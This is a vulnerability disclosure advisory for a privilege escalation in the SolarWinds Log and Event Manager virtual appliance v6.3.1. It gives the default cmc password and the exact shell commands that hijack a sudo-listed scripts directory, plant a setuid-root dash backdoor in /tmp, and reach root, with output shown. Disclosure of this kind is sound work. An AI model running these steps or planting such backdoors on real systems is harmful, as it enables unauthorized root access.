Title: Solarwinds LEM Privilege Escalation via Controlled Sudo Path
Advisory ID: KL-001-2017-005

1. Vulnerability Details

     Affected Vendor: Solarwinds
     Affected Product: Log and Event Manager Virtual Appliance
     Affected Version: v6.3.1
     Platform: Embedded Linux
     CWE Classification: CWE-281: Improper Preservation of Permissions,
                         CWE-708: Incorrect Ownership Assignment
     Impact: Privileged Access
     Attack vector: SSH

2. Vulnerability Description

     Due to lax filesystem permissions, an attacker can take control
     of a hardcoded sudo path in order to execute commands as a
     privileged user.

3. Technical Description

     Should an attacker gain access to the SSH console for the
     cmc user, root access to the underlying operating system can be
     achieved.  The default password for the cmc user is "password".

     Due to underlying filesystem permissions, it is possible
     for the cmc user to assume control of a path hardcoded in
     the sudoers file. The attack is started by moving the scripts
     directory and creating a symlink to a (now) attacker controlled
     scripts directory.

     cmc@swi-lem:/usr/local/contego$ mv scripts scripts.real && mkdir scripts && cd scripts.real && for A in * ; do ln
-s ../scripts.real/${A} ../scripts/${A} ; done

     Next, a file specified in the sudoers file is overwritten and
     then executed using sudo.

     cmc@swi-lem:/usr/local/
contego/scripts$ diff -u hostname.sh hostname.sh.backdoor
     --- hostname.sh 2005-07-01 20:10:17.000000000 -0700
     +++ hostname.sh.backdoor        2016-12-11 12:20:35.000000000 -0800
     @@ -1,5 +1,10 @@
      #!/bin/sh
     +# create a backdoor setuid shell
     +cp /bin/dash /tmp/sushi
     +chown root:root /tmp/sushi
     +chmod 4755 /tmp/sushi
     +
     [snip]
     cmc@swi-lem:/usr/local/contego/scripts$ rm hostname.sh && mv -i hostname.sh.backdoor hostname.sh
     cmc@swi-lem:/usr/local/contego$ sudo /usr/local/contego/scripts/hostname.sh

     This results in a suid dash shell being output to /tmp/sushi.

     cmc@swi-lem:/usr/local/contego$ ls -ld /tmp/sushi
     -rwsr-xr-x 1 root root 104168 Dec 11 12:21 /tmp/sushi

     Running this shell results in root privileges.

     cmc@swi-lem:/usr/local/contego$ /tmp/sushi
     # id
     uid=1001(cmc) gid=1000(trigeo) euid=0(root)
groups=0(root),4(adm),24(cdrom),25(floppy),104(postgres),105(snort),1000(trigeo),1002(dbadmin)
